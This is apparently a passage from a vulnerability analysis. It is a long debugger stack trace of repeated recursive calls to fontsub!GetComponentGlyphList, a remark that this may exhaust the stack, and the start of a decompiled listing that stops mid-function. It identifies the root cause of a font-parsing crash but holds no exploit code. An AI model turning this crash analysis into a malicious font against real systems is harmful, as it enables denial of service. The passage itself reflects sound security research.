48 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e07a21 000001bb`fd5b268e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
49 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e07af1 000001bb`fd5b268c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
4a 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e07bc1 000001bb`fd5b268a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
4b 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e07c91 000001bb`fd5b2688 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
4c 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e07d61 000001bb`fd5b2686 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
4d 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e07e31 000001bb`fd5b2684 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
4e 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e07f01 000001bb`fd5b2682 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
4f 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e07fd1 000001bb`fd5b2680 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
50 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e080a1 000001bb`fd5b267e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
51 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e08171 000001bb`fd5b267c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
52 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e08241 000001bb`fd5b267a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
53 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e08311 000001bb`fd5b2678 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
54 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e083e1 000001bb`fd5b2676 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
55 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e084b1 000001bb`fd5b2674 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
56 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e08581 000001bb`fd5b2672 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
57 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e08651 000001bb`fd5b2670 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
58 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e08721 000001bb`fd5b266e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
59 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e087f1 000001bb`fd5b266c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
5a 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e088c1 000001bb`fd5b266a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
5b 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e08991 000001bb`fd5b2668 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
5c 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e08a61 000001bb`fd5b2666 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
5d 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e08b31 000001bb`fd5b2664 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
5e 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e08c01 000001bb`fd5b2662 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
5f 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e08cd1 000001bb`fd5b2660 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
60 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e08da1 000001bb`fd5b265e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
61 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e08e71 000001bb`fd5b265c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
62 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e08f41 000001bb`fd5b265a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
63 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e09011 000001bb`fd5b2658 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
64 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e090e1 000001bb`fd5b2656 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
65 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e091b1 000001bb`fd5b2654 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
66 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e09281 000001bb`fd5b2652 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
67 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e09351 000001bb`fd5b2650 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
68 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e09421 000001bb`fd5b264e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
69 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e094f1 000001bb`fd5b264c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
6a 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e095c1 000001bb`fd5b264a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
6b 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e09691 000001bb`fd5b2648 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
6c 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e09761 000001bb`fd5b2646 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
6d 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e09831 000001bb`fd5b2644 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
6e 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e09901 000001bb`fd5b2642 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
6f 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e099d1 000001bb`fd5b2640 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
70 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e09aa1 000001bb`fd5b263e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
71 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e09b71 000001bb`fd5b263c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
72 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e09c41 000001bb`fd5b263a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
73 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e09d11 000001bb`fd5b2638 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
74 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e09de1 000001bb`fd5b2636 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
75 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e09eb1 000001bb`fd5b2634 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
76 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e09f81 000001bb`fd5b2632 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
77 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0a051 000001bb`fd5b2630 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
78 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0a121 000001bb`fd5b262e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
79 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0a1f1 000001bb`fd5b262c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
7a 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0a2c1 000001bb`fd5b262a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
7b 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0a391 000001bb`fd5b2628 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
7c 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0a461 000001bb`fd5b2626 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
7d 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0a531 000001bb`fd5b2624 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
7e 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0a601 000001bb`fd5b2622 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
7f 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0a6d1 000001bb`fd5b2620 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
80 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0a7a1 000001bb`fd5b261e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
81 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0a871 000001bb`fd5b261c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
82 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0a941 000001bb`fd5b261a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
83 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0aa11 000001bb`fd5b2618 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
84 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0aae1 000001bb`fd5b2616 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
85 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0abb1 000001bb`fd5b2614 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
86 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0ac81 000001bb`fd5b2612 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
87 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0ad51 000001bb`fd5b2610 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
88 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0ae21 000001bb`fd5b260e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
89 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0aef1 000001bb`fd5b260c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
8a 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0afc1 000001bb`fd5b260a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
8b 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0b091 000001bb`fd5b2608 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
8c 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0b161 000001bb`fd5b2606 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
8d 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0b231 000001bb`fd5b2604 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
8e 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0b301 000001bb`fd5b2602 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
8f 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0b3d1 000001bb`fd5b2600 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
90 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0b4a1 000001bb`fd5b25fe 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
91 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0b571 000001bb`fd5b25fc 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
92 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0b641 000001bb`fd5b25fa 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
93 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0b711 000001bb`fd5b25f8 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
94 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0b7e1 000001bb`fd5b25f6 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
95 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0b8b1 000001bb`fd5b25f4 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
96 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0b981 000001bb`fd5b25f2 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
97 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0ba51 000001bb`fd5b25f0 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
98 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0bb21 000001bb`fd5b25ee 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
99 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0bbf1 000001bb`fd5b25ec 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
9a 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0bcc1 000001bb`fd5b25ea 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
9b 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0bd91 000001bb`fd5b25e8 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
9c 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0be61 000001bb`fd5b25e6 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
9d 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0bf31 000001bb`fd5b25e4 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
9e 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0c001 000001bb`fd5b25e2 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
9f 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0c0d1 000001bb`fd5b25e0 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
a0 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0c1a1 000001bb`fd5b25de 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
a1 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0c271 000001bb`fd5b25dc 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
a2 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0c341 000001bb`fd5b25da 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
a3 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0c411 000001bb`fd5b25d8 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
a4 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0c4e1 000001bb`fd5b25d6 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
a5 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0c5b1 000001bb`fd5b25d4 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
a6 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0c681 000001bb`fd5b25d2 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
a7 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0c751 000001bb`fd5b25d0 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
a8 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0c821 000001bb`fd5b25ce 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
a9 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0c8f1 000001bb`fd5b25cc 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
aa 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0c9c1 000001bb`fd5b25ca 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
ab 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0ca91 000001bb`fd5b25c8 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
ac 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0cb61 000001bb`fd5b25c6 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
ad 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0cc31 000001bb`fd5b25c4 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
ae 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0cd01 000001bb`fd5b25c2 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
af 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0cdd1 000001bb`fd5b25c0 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
b0 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0cea1 000001bb`fd5b25be 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
b1 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0cf71 000001bb`fd5b25bc 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
b2 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0d041 000001bb`fd5b25ba 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
b3 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0d111 000001bb`fd5b25b8 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
b4 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0d1e1 000001bb`fd5b25b6 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
b5 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0d2b1 000001bb`fd5b25b4 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
b6 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0d381 000001bb`fd5b25b2 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
b7 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0d451 000001bb`fd5b25b0 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
b8 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0d521 000001bb`fd5b25ae 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
b9 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0d5f1 000001bb`fd5b25ac 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
ba 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0d6c1 000001bb`fd5b25aa 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
bb 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0d791 000001bb`fd5b25a8 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
bc 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0d861 000001bb`fd5b25a6 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
bd 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0d931 000001bb`fd5b25a4 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
be 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0da01 000001bb`fd5b25a2 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
bf 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0dad1 000001bb`fd5b25a0 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
c0 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0dba1 000001bb`fd5b259e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
c1 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0dc71 000001bb`fd5b259c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
c2 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0dd41 000001bb`fd5b259a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
c3 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0de11 000001bb`fd5b2598 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
c4 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0dee1 000001bb`fd5b2596 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
c5 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0dfb1 000001bb`fd5b2594 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
c6 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0e081 000001bb`fd5b2592 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
c7 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0e151 000001bb`fd5b2590 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
c8 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0e221 000001bb`fd5b258e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
c9 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0e2f1 000001bb`fd5b258c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
ca 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0e3c1 000001bb`fd5b258a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
cb 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0e491 000001bb`fd5b2588 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
cc 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0e561 000001bb`fd5b2586 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
cd 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0e631 000001bb`fd5b2584 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
ce 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0e701 000001bb`fd5b2582 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
cf 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0e7d1 000001bb`fd5b2580 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
d0 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0e8a1 000001bb`fd5b257e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
d1 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0e971 000001bb`fd5b257c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
d2 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0ea41 000001bb`fd5b257a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
d3 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0eb11 000001bb`fd5b2578 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
d4 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0ebe1 000001bb`fd5b2576 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
d5 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0ecb1 000001bb`fd5b2574 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
d6 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0ed81 000001bb`fd5b2572 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
d7 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0ee51 000001bb`fd5b2570 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
d8 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0ef21 000001bb`fd5b256e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
d9 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0eff1 000001bb`fd5b256c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
da 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0f0c1 000001bb`fd5b256a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
db 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0f191 000001bb`fd5b2568 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
dc 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0f261 000001bb`fd5b2566 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
dd 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0f331 000001bb`fd5b2564 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
de 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0f401 000001bb`fd5b2562 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
df 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0f4d1 000001bb`fd5b2560 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
e0 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0f5a1 000001bb`fd5b255e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
e1 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0f671 000001bb`fd5b255c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
e2 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0f741 000001bb`fd5b255a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
e3 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0f811 000001bb`fd5b2558 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
e4 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0f8e1 000001bb`fd5b2556 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
e5 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0f9b1 000001bb`fd5b2554 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
e6 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0fa81 000001bb`fd5b2552 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
e7 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0fb51 000001bb`fd5b2550 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
e8 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0fc21 000001bb`fd5b254e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
e9 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0fcf1 000001bb`fd5b254c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
ea 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0fdc1 000001bb`fd5b254a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
eb 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0fe91 000001bb`fd5b2548 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
ec 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0ff61 000001bb`fd5b2546 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
ed 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e10031 000001bb`fd5b2544 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
ee 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e10101 000001bb`fd5b2542 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
ef 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e101d1 000001bb`fd5b2540 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
f0 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e102a1 000001bb`fd5b253e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
f1 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e10371 000001bb`fd5b253c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
f2 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e10441 000001bb`fd5b253a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
f3 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e10511 000001bb`fd5b2538 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
f4 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e105e1 000001bb`fd5b2536 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
f5 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e106b1 000001bb`fd5b2534 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
f6 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e10781 000001bb`fd5b2532 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
f7 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e10851 000001bb`fd5b2530 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
f8 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e10921 000001bb`fd5b252e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
f9 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e109f1 000001bb`fd5b252c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
fa 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e10ac1 000001bb`fd5b252a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
fb 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e10b91 000001bb`fd5b2528 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
fc 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e10c61 000001bb`fd5b2526 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
fd 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e10d31 000001bb`fd5b2524 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
fe 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e10e01 000001bb`fd5b2522 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
ff 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e10ed1 000001bb`fd5b2520 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
It's too long...it may exhausted all stack memory
fontsub!GetComponentGlyphList
has been called too many times.
Let's see it in ida
__int64 __fastcall GetComponentGlyphList(__int64 a1, int a2, unsigned __int16 *a3, __int64 a4, unsigned __int16 a5, unsigned __int16 *a6, unsigned __int16 a7, unsigned __int16 a8, unsigned int a9, int a10)
{
__int64 v10; // rdi
unsigned __int16 *v11; // rsi
_QWORD *v12; // r13
__int64 result; // rax
unsigned __int16 v14; // ax
unsigned int v15; // ebx
unsigned int v16; // ebx
unsigned __int16 v17; // r10
char v18; // di
int v19; // eax
unsigned __int16 v20; // dx
__int64 v21; // [rsp+20h] [rbp-61h]
__int16 v22; // [rsp+50h] [rbp-31h]
int v23; // [rsp+54h] [rbp-2Dh]
__int16 v24; // [rsp+58h] [rbp-29h]
__int64 v25; // [rsp+60h] [rbp-21h]
__int16 v26; // [rsp+68h] [rbp-19h]
v10 = a4;
v25 = a4;
v11 = a3;
*a3 = 0;
v12 = (_QWORD *)a1
LODWORD(v21) = a10;
result = GetGlyphHeader(a1, a2, a8, a9, v21, &v26, &v23, &v22);
if ( !(_WORD)result )
{
